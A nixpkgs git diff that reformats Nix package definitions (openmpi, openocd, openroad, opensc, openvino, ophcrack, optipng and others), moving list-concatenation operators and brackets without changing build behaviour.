@@ -151,60 +150,58 @@ stdenv.mkDerivation (finalAttrs: {
       # The file names we need to iterate are a combination of ${p}${s}, and there
       # are 7x3 such options. We use lib.mapCartesianProduct to iterate them all.
       fileNamesToIterate = {
-        p =
-          [
-            "mpi"
-          ]
-          ++ lib.optionals stdenv.hostPlatform.isLinux [
-            "shmem"
-            "osh"
-          ];
-        s =
-          [
-            "c++"
-            "cxx"
-            "cc"
-          ]
-          ++ lib.optionals fortranSupport [
-            "f77"
-            "f90"
-            "fort"
-          ]
-          ++ lib.optionals stdenv.hostPlatform.isLinux [ "CC" ];
+        p = [
+          "mpi"
+        ]
+        ++ lib.optionals stdenv.hostPlatform.isLinux [
+          "shmem"
+          "osh"
+        ];
+        s = [
+          "c++"
+          "cxx"
+          "cc"
+        ]
+        ++ lib.optionals fortranSupport [
+          "f77"
+          "f90"
+          "fort"
+        ]
+        ++ lib.optionals stdenv.hostPlatform.isLinux [ "CC" ];
+      };
+      wrapperDataSubstitutions = {
+        # The attr key is the filename prefix. The list's 1st value is the
+        # compiler=_ line that should be replaced by a compiler=#2 string, where
+        # #2 is the 2nd value in the list.
+        "cc" = [
+          # "$CC" is expanded by the executing shell in the substituteInPlace
+          # commands to the name of the compiler ("clang" for Darwin and
+          # "gcc" for Linux)
+          "$CC"
+          "${targetPackages.stdenv.cc}/bin/${targetPackages.stdenv.cc.targetPrefix}$CC"
+        ];
+        "c++" = [
+          # Same as with $CC
+          "$CXX"
+          "${targetPackages.stdenv.cc}/bin/${targetPackages.stdenv.cc.targetPrefix}$CXX"
+        ];
+      }
+      // lib.optionalAttrs fortranSupport {
+        "fort" = [
+          "gfortran"
+          "${targetPackages.gfortran or gfortran}/bin/${
+            targetPackages.gfortran.targetPrefix or gfortran.targetPrefix
+          }gfortran"
+        ];
       };
-      wrapperDataSubstitutions =
-        {
-          # The attr key is the filename prefix. The list's 1st value is the
-          # compiler=_ line that should be replaced by a compiler=#2 string, where
-          # #2 is the 2nd value in the list.
-          "cc" = [
-            # "$CC" is expanded by the executing shell in the substituteInPlace
-            # commands to the name of the compiler ("clang" for Darwin and
-            # "gcc" for Linux)
-            "$CC"
-            "${targetPackages.stdenv.cc}/bin/${targetPackages.stdenv.cc.targetPrefix}$CC"
-          ];
-          "c++" = [
-            # Same as with $CC
-            "$CXX"
-            "${targetPackages.stdenv.cc}/bin/${targetPackages.stdenv.cc.targetPrefix}$CXX"
-          ];
-        }
-        // lib.optionalAttrs fortranSupport {
-          "fort" = [
-            "gfortran"
-            "${targetPackages.gfortran or gfortran}/bin/${
-              targetPackages.gfortran.targetPrefix or gfortran.targetPrefix
-            }gfortran"
-          ];
-        };
       # The -wrapper-data.txt files that are not symlinks, need to be iterated as
       # well, here they start withw ${part1}${part2}, and we use
       # lib.mapCartesianProduct as well.
       wrapperDataFileNames = {
         part1 = [
           "mpi"
-        ] ++ lib.optionals stdenv.hostPlatform.isLinux [ "shmem" ];
+        ]
+        ++ lib.optionals stdenv.hostPlatform.isLinux [ "shmem" ];
         part2 = builtins.attrNames wrapperDataSubstitutions;
       };
     in
diff --git a/pkgs/by-name/op/openocd/package.nix b/pkgs/by-name/op/openocd/package.nix
index 618b998eefcb..0d2b9ad57ce3 100644
--- a/pkgs/by-name/op/openocd/package.nix
+++ b/pkgs/by-name/op/openocd/package.nix
@@ -35,17 +35,18 @@ stdenv.mkDerivation rec {
     tcl
   ];
 
-  buildInputs =
-    [ libusb1 ]
-    ++ lib.optionals notWindows [
-      hidapi
-      jimtcl
-      libftdi1
-      libjaylink
-    ]
-    ++
-      # tracking issue for v2 api changes https://sourceforge.net/p/openocd/tickets/306/
-      lib.optional stdenv.hostPlatform.isLinux libgpiod_1;
+  buildInputs = [
+    libusb1
+  ]
+  ++ lib.optionals notWindows [
+    hidapi
+    jimtcl
+    libftdi1
+    libjaylink
+  ]
+  ++
+    # tracking issue for v2 api changes https://sourceforge.net/p/openocd/tickets/306/
+    lib.optional stdenv.hostPlatform.isLinux libgpiod_1;
 
   configureFlags = [
     "--disable-werror"
@@ -57,7 +58,8 @@ stdenv.mkDerivation rec {
     (lib.enableFeature stdenv.hostPlatform.isLinux "sysfsgpio")
     (lib.enableFeature isWindows "internal-jimtcl")
     (lib.enableFeature isWindows "internal-libjaylink")
-  ] ++ map (hardware: "--enable-${hardware}") extraHardwareSupport;
+  ]
+  ++ map (hardware: "--enable-${hardware}") extraHardwareSupport;
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/op/openomf/package.nix b/pkgs/by-name/op/openomf/package.nix
index fb8268c096d4..d40bfd020f97 100644
--- a/pkgs/by-name/op/openomf/package.nix
+++ b/pkgs/by-name/op/openomf/package.nix
@@ -67,20 +67,19 @@ stdenv.mkDerivation (finalAttrs: {
     zlib
   ];
 
-  postInstall =
-    ''
-      mkdir -p $out/share/icons/hicolor/256x256/apps
-      unzip -j ${assets} -d $out/share/games/openomf
-      unzip -p ${icons} omf-logo/omf-256x256.png > $out/share/icons/hicolor/256x256/apps/org.openomf.OpenOMF.png
-      install -Dm644 $src/resources/flatpak/org.openomf.OpenOMF.desktop $out/share/applications/org.openomf.OpenOMF.desktop
-    ''
-    + lib.optionalString withRemix ''
-      ln -s ${remix} $out/share/games/openomf/ARENA2.ogg
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/resources
-      ln -s $out/share/games/openomf/* $out/resources
-    '';
+  postInstall = ''
+    mkdir -p $out/share/icons/hicolor/256x256/apps
+    unzip -j ${assets} -d $out/share/games/openomf
+    unzip -p ${icons} omf-logo/omf-256x256.png > $out/share/icons/hicolor/256x256/apps/org.openomf.OpenOMF.png
+    install -Dm644 $src/resources/flatpak/org.openomf.OpenOMF.desktop $out/share/applications/org.openomf.OpenOMF.desktop
+  ''
+  + lib.optionalString withRemix ''
+    ln -s ${remix} $out/share/games/openomf/ARENA2.ogg
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/resources
+    ln -s $out/share/games/openomf/* $out/resources
+  '';
 
   meta = {
     description = "One Must Fall 2097 Remake";
diff --git a/pkgs/by-name/op/openorienteering-mapper/package.nix b/pkgs/by-name/op/openorienteering-mapper/package.nix
index e13124d94dac..266324b4ad2e 100644
--- a/pkgs/by-name/op/openorienteering-mapper/package.nix
+++ b/pkgs/by-name/op/openorienteering-mapper/package.nix
@@ -64,25 +64,24 @@ stdenv.mkDerivation rec {
     zlib
   ];
 
-  cmakeFlags =
-    [
-      # Building the manual and bundling licenses fails
-      # See https://github.com/NixOS/nixpkgs/issues/85306
-      (lib.cmakeBool "LICENSING_PROVIDER" false)
-      (lib.cmakeBool "Mapper_MANUAL_QTHELP" false)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # FindGDAL is broken and always finds /Library/Framework unless this is
-      # specified
-      (lib.cmakeFeature "GDAL_INCLUDE_DIR" "${gdal}/include")
-      (lib.cmakeFeature "GDAL_CONFIG" "${gdal}/bin/gdal-config")
-      (lib.cmakeFeature "GDAL_LIBRARY" "${gdal}/lib/libgdal.dylib")
-      # Don't bundle libraries
-      (lib.cmakeBool "Mapper_PACKAGE_PROJ" false)
-      (lib.cmakeBool "Mapper_PACKAGE_QT" false)
-      (lib.cmakeBool "Mapper_PACKAGE_ASSISTANT" false)
-      (lib.cmakeBool "Mapper_PACKAGE_GDAL" false)
-    ];
+  cmakeFlags = [
+    # Building the manual and bundling licenses fails
+    # See https://github.com/NixOS/nixpkgs/issues/85306
+    (lib.cmakeBool "LICENSING_PROVIDER" false)
+    (lib.cmakeBool "Mapper_MANUAL_QTHELP" false)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # FindGDAL is broken and always finds /Library/Framework unless this is
+    # specified
+    (lib.cmakeFeature "GDAL_INCLUDE_DIR" "${gdal}/include")
+    (lib.cmakeFeature "GDAL_CONFIG" "${gdal}/bin/gdal-config")
+    (lib.cmakeFeature "GDAL_LIBRARY" "${gdal}/lib/libgdal.dylib")
+    # Don't bundle libraries
+    (lib.cmakeBool "Mapper_PACKAGE_PROJ" false)
+    (lib.cmakeBool "Mapper_PACKAGE_QT" false)
+    (lib.cmakeBool "Mapper_PACKAGE_ASSISTANT" false)
+    (lib.cmakeBool "Mapper_PACKAGE_GDAL" false)
+  ];
 
   postInstall =
     with stdenv;
diff --git a/pkgs/by-name/op/openrgb/package.nix b/pkgs/by-name/op/openrgb/package.nix
index 1974573c5a33..3a2c3af6bf6a 100644
--- a/pkgs/by-name/op/openrgb/package.nix
+++ b/pkgs/by-name/op/openrgb/package.nix
@@ -22,27 +22,25 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-XBLj4EfupyeVHRc0pVI7hrXFoCNJ7ak2yO0QSfhBsGU=";
   };
 
-  nativeBuildInputs =
-    [
-      pkg-config
-    ]
-    ++ (with libsForQt5; [
-      qmake
-      wrapQtAppsHook
-    ]);
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ (with libsForQt5; [
+    qmake
+    wrapQtAppsHook
+  ]);
 
-  buildInputs =
-    [
+  buildInputs = [
 
-      libusb1
-      hidapi
-      mbedtls_2
-    ]
-    ++ (with libsForQt5; [
-      qtbase
-      qttools
-      qtwayland
-    ]);
+    libusb1
+    hidapi
+    mbedtls_2
+  ]
+  ++ (with libsForQt5; [
+    qtbase
+    qttools
+    qtwayland
+  ]);
 
   postPatch = ''
     patchShebangs scripts/build-udev-rules.sh
diff --git a/pkgs/by-name/op/openroad/package.nix b/pkgs/by-name/op/openroad/package.nix
index 2023f2606825..33f61e9271f3 100644
--- a/pkgs/by-name/op/openroad/package.nix
+++ b/pkgs/by-name/op/openroad/package.nix
@@ -63,35 +63,34 @@ stdenv.mkDerivation rec {
     swig
   ];
 
-  buildInputs =
-    [
-      boost186
-      cbc
-      cimg
-      clp
-      cudd
-      eigen
-      glpk
-      lcov
-      lemon-graph
-      libjpeg
-      libsForQt5.qtbase
-      libsForQt5.qtcharts
-      libsForQt5.qtdeclarative
-      libsForQt5.qtsvg
-      or-tools
-      pcre
-      python3
-      re2
-      readline
-      spdlog
-      tcl
-      tclPackages.tclreadline
-      yosys
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ xorg.libX11 ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ llvmPackages.openmp ];
+  buildInputs = [
+    boost186
+    cbc
+    cimg
+    clp
+    cudd
+    eigen
+    glpk
+    lcov
+    lemon-graph
+    libjpeg
+    libsForQt5.qtbase
+    libsForQt5.qtcharts
+    libsForQt5.qtdeclarative
+    libsForQt5.qtsvg
+    or-tools
+    pcre
+    python3
+    re2
+    readline
+    spdlog
+    tcl
+    tclPackages.tclreadline
+    yosys
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ xorg.libX11 ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ llvmPackages.openmp ];
 
   postPatch = ''
     patchShebangs --build etc/find_messages.py
@@ -99,21 +98,20 @@ stdenv.mkDerivation rec {
     sed 's/^.*partition_gcd/# \0/g' -i src/par/test/CMakeLists.txt
   '';
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "ENABLE_TESTS" true)
-      (lib.cmakeBool "USE_SYSTEM_BOOST" true)
-      (lib.cmakeBool "USE_SYSTEM_ABC" false)
-      (lib.cmakeBool "ABC_SKIP_TESTS" true) # it attempts to download gtest
-      (lib.cmakeBool "USE_SYSTEM_OPENSTA" false)
-      (lib.cmakeFeature "OPENROAD_VERSION" "${version}_${src.rev}")
-      (lib.cmakeBool "CMAKE_RULE_MESSAGES" false)
-      (lib.cmakeFeature "TCL_HEADER" "${tcl}/include/tcl.h")
-      (lib.cmakeFeature "TCL_LIBRARY" "${tcl}/lib/libtcl${stdenv.hostPlatform.extensions.sharedLibrary}")
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (lib.cmakeFeature "CMAKE_CXX_FLAGS" "-DBOOST_STACKTRACE_GNU_SOURCE_NOT_REQUIRED")
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "ENABLE_TESTS" true)
+    (lib.cmakeBool "USE_SYSTEM_BOOST" true)
+    (lib.cmakeBool "USE_SYSTEM_ABC" false)
+    (lib.cmakeBool "ABC_SKIP_TESTS" true) # it attempts to download gtest
+    (lib.cmakeBool "USE_SYSTEM_OPENSTA" false)
+    (lib.cmakeFeature "OPENROAD_VERSION" "${version}_${src.rev}")
+    (lib.cmakeBool "CMAKE_RULE_MESSAGES" false)
+    (lib.cmakeFeature "TCL_HEADER" "${tcl}/include/tcl.h")
+    (lib.cmakeFeature "TCL_LIBRARY" "${tcl}/lib/libtcl${stdenv.hostPlatform.extensions.sharedLibrary}")
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    (lib.cmakeFeature "CMAKE_CXX_FLAGS" "-DBOOST_STACKTRACE_GNU_SOURCE_NOT_REQUIRED")
+  ];
 
   # Resynthesis needs access to the Yosys binaries.
   qtWrapperArgs = [ "--prefix PATH : ${lib.makeBinPath [ yosys ]}" ];
diff --git a/pkgs/by-name/op/opensbi/package.nix b/pkgs/by-name/op/opensbi/package.nix
index de08b61f0892..19d7538e13cb 100644
--- a/pkgs/by-name/op/opensbi/package.nix
+++ b/pkgs/by-name/op/opensbi/package.nix
@@ -29,16 +29,15 @@ stdenv.mkDerivation (finalAttrs: {
     "I=$(out)"
   ];
 
-  makeFlags =
-    [
-      "PLATFORM=${withPlatform}"
-    ]
-    ++ lib.optionals (withPayload != null) [
-      "FW_PAYLOAD_PATH=${withPayload}"
-    ]
-    ++ lib.optionals (withFDT != null) [
-      "FW_FDT_PATH=${withFDT}"
-    ];
+  makeFlags = [
+    "PLATFORM=${withPlatform}"
+  ]
+  ++ lib.optionals (withPayload != null) [
+    "FW_PAYLOAD_PATH=${withPayload}"
+  ]
+  ++ lib.optionals (withFDT != null) [
+    "FW_FDT_PATH=${withFDT}"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/op/opensc/package.nix b/pkgs/by-name/op/opensc/package.nix
index 8c642beb23da..059372dd9a8c 100644
--- a/pkgs/by-name/op/opensc/package.nix
+++ b/pkgs/by-name/op/opensc/package.nix
@@ -41,24 +41,25 @@ stdenv.mkDerivation rec {
     libXt
     libiconv
     docbook_xml_dtd_412
-  ] ++ lib.optional (!stdenv.hostPlatform.isDarwin) pcsclite;
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) pcsclite;
 
   env.NIX_CFLAGS_COMPILE = "-Wno-error";
 
-  configureFlags =
-    [
-      "--enable-zlib"
-      "--enable-readline"
-      "--enable-openssl"
-      "--enable-pcsc"
-      "--enable-sm"
-      "--enable-man"
-      "--enable-doc"
-      "--localstatedir=/var"
-      "--sysconfdir=/etc"
-      "--with-xsl-stylesheetsdir=${docbook_xsl}/xml/xsl/docbook"
-    ]
-    ++ lib.optional (!stdenv.hostPlatform.isDarwin)
+  configureFlags = [
+    "--enable-zlib"
+    "--enable-readline"
+    "--enable-openssl"
+    "--enable-pcsc"
+    "--enable-sm"
+    "--enable-man"
+    "--enable-doc"
+    "--localstatedir=/var"
+    "--sysconfdir=/etc"
+    "--with-xsl-stylesheetsdir=${docbook_xsl}/xml/xsl/docbook"
+  ]
+  ++
+    lib.optional (!stdenv.hostPlatform.isDarwin)
       "--with-pcsc-provider=${lib.getLib pcsclite}/lib/libpcsclite${stdenv.hostPlatform.extensions.sharedLibrary}";
 
   installFlags = [
diff --git a/pkgs/by-name/op/opensmt/package.nix b/pkgs/by-name/op/opensmt/package.nix
index f0cf8e61d24e..ab9b532d06ac 100644
--- a/pkgs/by-name/op/opensmt/package.nix
+++ b/pkgs/by-name/op/opensmt/package.nix
@@ -31,7 +31,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     libedit
     gmpxx
-  ] ++ lib.optional enableReadline readline;
+  ]
+  ++ lib.optional enableReadline readline;
 
   preConfigure = ''
     substituteInPlace test/CMakeLists.txt \
diff --git a/pkgs/by-name/op/opensp/package.nix b/pkgs/by-name/op/opensp/package.nix
index bd1e08177a40..630a4d334b7f 100644
--- a/pkgs/by-name/op/opensp/package.nix
+++ b/pkgs/by-name/op/opensp/package.nix
@@ -49,20 +49,19 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      xmlto
-      docbook_xml_dtd_412
-      docbook_xsl
-    ]
-    # Clang 16 fails to build due to inappropriate definitions in the `config.h` generated by the
-    # existing configure scripts. Regenerate them to make sure they detect its features correctly.
-    ++ lib.optional stdenv.cc.isClang autoreconfHook
-    ++ lib.optionals stdenv.hostPlatform.isCygwin [
-      autoconf
-      automake
-      libtool
-    ];
+  nativeBuildInputs = [
+    xmlto
+    docbook_xml_dtd_412
+    docbook_xsl
+  ]
+  # Clang 16 fails to build due to inappropriate definitions in the `config.h` generated by the
+  # existing configure scripts. Regenerate them to make sure they detect its features correctly.
+  ++ lib.optional stdenv.cc.isClang autoreconfHook
+  ++ lib.optionals stdenv.hostPlatform.isCygwin [
+    autoconf
+    automake
+    libtool
+  ];
 
   env = lib.optionalAttrs stdenv.cc.isGNU {
     NIX_CFLAGS_COMPILE = "-fpermissive";
diff --git a/pkgs/by-name/op/opensplat/package.nix b/pkgs/by-name/op/opensplat/package.nix
index a9372c86b8aa..45791b230c1b 100644
--- a/pkgs/by-name/op/opensplat/package.nix
+++ b/pkgs/by-name/op/opensplat/package.nix
@@ -43,41 +43,38 @@ stdenv'.mkDerivation {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      ninja
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_nvcc
-      autoAddDriverRunpath
-    ];
+  nativeBuildInputs = [
+    cmake
+    ninja
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_nvcc
+    autoAddDriverRunpath
+  ];
 
-  buildInputs =
-    [
-      nlohmann_json
-      nanoflann
-      glm
-      cxxopts
-      torch.cxxdev
-      torch
-      opencv
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_cudart
-    ];
+  buildInputs = [
+    nlohmann_json
+    nanoflann
+    glm
+    cxxopts
+    torch.cxxdev
+    torch
+    opencv
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_cudart
+  ];
 
   env.TORCH_CUDA_ARCH_LIST = "${lib.concatStringsSep ";" python3.pkgs.torch.cudaCapabilities}";
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "CMAKE_SKIP_RPATH" true)
-      (lib.cmakeFeature "FETCHCONTENT_TRY_FIND_PACKAGE_MODE" "ALWAYS")
-    ]
-    ++ lib.optionals cudaSupport [
-      (lib.cmakeFeature "GPU_RUNTIME" "CUDA")
-      (lib.cmakeFeature "CUDA_TOOLKIT_ROOT_DIR" "${cudaPackages.cudatoolkit}/")
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "CMAKE_SKIP_RPATH" true)
+    (lib.cmakeFeature "FETCHCONTENT_TRY_FIND_PACKAGE_MODE" "ALWAYS")
+  ]
+  ++ lib.optionals cudaSupport [
+    (lib.cmakeFeature "GPU_RUNTIME" "CUDA")
+    (lib.cmakeFeature "CUDA_TOOLKIT_ROOT_DIR" "${cudaPackages.cudatoolkit}/")
+  ];
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/by-name/op/opensubdiv/package.nix b/pkgs/by-name/op/opensubdiv/package.nix
index 9eedd8f19430..bc580f5bf8ae 100644
--- a/pkgs/by-name/op/opensubdiv/package.nix
+++ b/pkgs/by-name/op/opensubdiv/package.nix
@@ -33,15 +33,14 @@ stdenv.mkDerivation (finalAttrs: {
     "static"
   ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-      python3
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_nvcc
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+    python3
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_nvcc
+  ];
   buildInputs =
     lib.optionals stdenv.hostPlatform.isUnix [
       libGLU
@@ -70,24 +69,23 @@ stdenv.mkDerivation (finalAttrs: {
     )
   '';
 
-  cmakeFlags =
-    [
-      (lib.mapAttrsToList lib.cmakeBool {
-        NO_TUTORIALS = true;
-        NO_REGRESSION = true;
-        NO_EXAMPLES = true;
-        NO_DX = stdenv.hostPlatform.isWindows;
-        NO_METAL = !stdenv.hostPlatform.isDarwin;
-        NO_OPENCL = !openclSupport;
-        NO_CUDA = !cudaSupport;
-      })
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isUnix && !stdenv.hostPlatform.isDarwin) [
-      (lib.mapAttrsToList lib.cmakeFeature {
-        GLEW_INCLUDE_DIR = "${glew.dev}/include";
-        GLEW_LIBRARY = "${glew.dev}/lib";
-      })
-    ];
+  cmakeFlags = [
+    (lib.mapAttrsToList lib.cmakeBool {
+      NO_TUTORIALS = true;
+      NO_REGRESSION = true;
+      NO_EXAMPLES = true;
+      NO_DX = stdenv.hostPlatform.isWindows;
+      NO_METAL = !stdenv.hostPlatform.isDarwin;
+      NO_OPENCL = !openclSupport;
+      NO_CUDA = !cudaSupport;
+    })
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isUnix && !stdenv.hostPlatform.isDarwin) [
+    (lib.mapAttrsToList lib.cmakeFeature {
+      GLEW_INCLUDE_DIR = "${glew.dev}/include";
+      GLEW_LIBRARY = "${glew.dev}/lib";
+    })
+  ];
 
   preBuild =
     let
diff --git a/pkgs/by-name/op/opentelemetry-cpp/package.nix b/pkgs/by-name/op/opentelemetry-cpp/package.nix
index 8d7640cb12b2..000208061581 100644
--- a/pkgs/by-name/op/opentelemetry-cpp/package.nix
+++ b/pkgs/by-name/op/opentelemetry-cpp/package.nix
@@ -33,7 +33,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   patches = [
     ./0001-Disable-tests-requiring-network-access.patch
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin ./0002-Disable-segfaulting-test-on-Darwin.patch;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin ./0002-Disable-segfaulting-test-on-Darwin.patch;
 
   nativeBuildInputs = [ cmake ];
 
diff --git a/pkgs/by-name/op/openturns/package.nix b/pkgs/by-name/op/openturns/package.nix
index c93d0ba40100..d2990f11beb5 100644
--- a/pkgs/by-name/op/openturns/package.nix
+++ b/pkgs/by-name/op/openturns/package.nix
@@ -36,31 +36,31 @@ stdenv.mkDerivation (finalAttrs: {
 
   nativeBuildInputs = [
     cmake
-  ] ++ lib.optionals enablePython [ python3Packages.sphinx ];
+  ]
+  ++ lib.optionals enablePython [ python3Packages.sphinx ];
 
-  buildInputs =
-    [
-      (lib.getLib primesieve)
-      boost
-      ceres-solver
-      cminpack
-      dlib
-      hdf5
-      hmat-oss
-      ipopt
-      libxml2
-      nlopt
-      pagmo2
-      spectra
-      swig
-      tbb
-    ]
-    ++ lib.optionals enablePython [
-      python3Packages.dill
-      python3Packages.matplotlib
-      python3Packages.psutil
-      python3Packages.python
-    ];
+  buildInputs = [
+    (lib.getLib primesieve)
+    boost
+    ceres-solver
+    cminpack
+    dlib
+    hdf5
+    hmat-oss
+    ipopt
+    libxml2
+    nlopt
+    pagmo2
+    spectra
+    swig
+    tbb
+  ]
+  ++ lib.optionals enablePython [
+    python3Packages.dill
+    python3Packages.matplotlib
+    python3Packages.psutil
+    python3Packages.python
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "BUILD_PYTHON" enablePython)
diff --git a/pkgs/by-name/op/openvino/package.nix b/pkgs/by-name/op/openvino/package.nix
index 56c51de76b72..abc7ad939476 100644
--- a/pkgs/by-name/op/openvino/package.nix
+++ b/pkgs/by-name/op/openvino/package.nix
@@ -76,22 +76,21 @@ stdenv.mkDerivation rec {
     "python"
   ];
 
-  nativeBuildInputs =
-    [
-      addDriverRunpath
-      autoPatchelfHook
-      cmake
-      git
-      libarchive
-      patchelf
-      pkg-config
-      python
-      scons'
-      shellcheck
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_nvcc
-    ];
+  nativeBuildInputs = [
+    addDriverRunpath
+    autoPatchelfHook
+    cmake
+    git
+    libarchive
+    patchelf
+    pkg-config
+    python
+    scons'
+    shellcheck
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_nvcc
+  ];
 
   postPatch = ''
     mkdir -p temp/tbbbind_${tbbbind_version}
@@ -147,22 +146,21 @@ stdenv.mkDerivation rec {
   # src/graph/src/plugins/intel_gpu/src/graph/include/reorder_inst.h:24:8: error: type 'struct typed_program_node' violates the C++ One Definition Rule [-Werror=odr]
   env.NIX_CFLAGS_COMPILE = "-Wno-odr";
 
-  buildInputs =
-    [
-      flatbuffers
-      gflags
-      level-zero
-      libusb1
-      libxml2
-      ocl-icd
-      opencv
-      pugixml
-      snappy
-      tbb_2022_0
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_cudart
-    ];
+  buildInputs = [
+    flatbuffers
+    gflags
+    level-zero
+    libusb1
+    libxml2
+    ocl-icd
+    opencv
+    pugixml
+    snappy
+    tbb_2022_0
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_cudart
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/op/openvpn3/package.nix b/pkgs/by-name/op/openvpn3/package.nix
index cf25ba7abce8..fcdfb4ce2cac 100644
--- a/pkgs/by-name/op/openvpn3/package.nix
+++ b/pkgs/by-name/op/openvpn3/package.nix
@@ -87,7 +87,8 @@ stdenv.mkDerivation rec {
     protobuf
     tinyxml-2
     gdbuspp
-  ] ++ lib.optionals enableSystemdResolved [ systemd.dev ];
+  ]
+  ++ lib.optionals enableSystemdResolved [ systemd.dev ];
 
   mesonFlags = [
     (lib.mesonOption "selinux" "disabled")
diff --git a/pkgs/by-name/op/openvswitch/package.nix b/pkgs/by-name/op/openvswitch/package.nix
index e9fa46d811e1..1795da60b495 100644
--- a/pkgs/by-name/op/openvswitch/package.nix
+++ b/pkgs/by-name/op/openvswitch/package.nix
@@ -63,21 +63,20 @@ stdenv.mkDerivation rec {
 
   sphinxRoot = "./Documentation";
 
-  buildInputs =
-    [
-      libcap_ng
-      openssl
-      perl
-      procps
-      python3
-      util-linux
-      which
-    ]
-    ++ (lib.optionals withDPDK [
-      dpdk
-      numactl
-      libpcap
-    ]);
+  buildInputs = [
+    libcap_ng
+    openssl
+    perl
+    procps
+    python3
+    util-linux
+    which
+  ]
+  ++ (lib.optionals withDPDK [
+    dpdk
+    numactl
+    libpcap
+  ]);
 
   preConfigure = "./boot.sh";
 
@@ -85,7 +84,8 @@ stdenv.mkDerivation rec {
     "--localstatedir=/var"
     "--sharedstatedir=/var"
     "--sbindir=$(out)/bin"
-  ] ++ (lib.optionals withDPDK [ "--with-dpdk=shared" ]);
+  ]
+  ++ (lib.optionals withDPDK [ "--with-dpdk=shared" ]);
 
   # Leave /var out of this!
   installFlags = [
@@ -116,14 +116,15 @@ stdenv.mkDerivation rec {
     patchShebangs tests/
   '';
 
-  nativeCheckInputs =
-    [ iproute2 ]
-    ++ (with python3.pkgs; [
-      netaddr
-      pyparsing
-      pytest
-      setuptools
-    ]);
+  nativeCheckInputs = [
+    iproute2
+  ]
+  ++ (with python3.pkgs; [
+    netaddr
+    pyparsing
+    pytest
+    setuptools
+  ]);
 
   passthru = {
     tests = {
diff --git a/pkgs/by-name/op/ophcrack/package.nix b/pkgs/by-name/op/ophcrack/package.nix
index 3379e9818f60..57e079c1e273 100644
--- a/pkgs/by-name/op/ophcrack/package.nix
+++ b/pkgs/by-name/op/ophcrack/package.nix
@@ -31,22 +31,24 @@ stdenv.mkDerivation rec {
   ];
 
   nativeBuildInputs = [ pkg-config ] ++ lib.optional enableGui libsForQt5.wrapQtAppsHook;
-  buildInputs =
-    [ openssl ]
-    ++ (if enableGui then [ libsForQt5.qtcharts ] else [ expat ])
-    ++ lib.optional stdenv.hostPlatform.isDarwin expat;
+  buildInputs = [
+    openssl
+  ]
+  ++ (if enableGui then [ libsForQt5.qtcharts ] else [ expat ])
+  ++ lib.optional stdenv.hostPlatform.isDarwin expat;
 
-  configureFlags =
-    [ "--with-libssl" ]
-    ++ (
-      if enableGui then
-        [
-          "--enable-gui"
-          "--with-qt5charts"
-        ]
-      else
-        [ "--disable-gui" ]
-    );
+  configureFlags = [
+    "--with-libssl"
+  ]
+  ++ (
+    if enableGui then
+      [
+        "--enable-gui"
+        "--with-qt5charts"
+      ]
+    else
+      [ "--disable-gui" ]
+  );
 
   installPhase = lib.optional stdenv.hostPlatform.isDarwin ''
     mkdir -p $out/bin
diff --git a/pkgs/by-name/op/optipng/package.nix b/pkgs/by-name/op/optipng/package.nix
index 37fca666e857..a710adabc835 100644
--- a/pkgs/by-name/op/optipng/package.nix
+++ b/pkgs/by-name/op/optipng/package.nix
@@ -30,14 +30,13 @@ stdenv.mkDerivation rec {
   dontAddStaticConfigureFlags = true;
   configurePlatforms = [ ];
 
-  configureFlags =
-    [
-      "--with-system-zlib"
-      "--with-system-libpng"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      #"-prefix=$out"
-    ];
+  configureFlags = [
+    "--with-system-zlib"
+    "--with-system-libpng"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    #"-prefix=$out"
+  ];
 
   postInstall =
     if stdenv.hostPlatform != stdenv.buildPlatform && stdenv.hostPlatform.isWindows then
diff --git a/pkgs/by-name/op/opusfile/package.nix b/pkgs/by-name/op/opusfile/package.nix
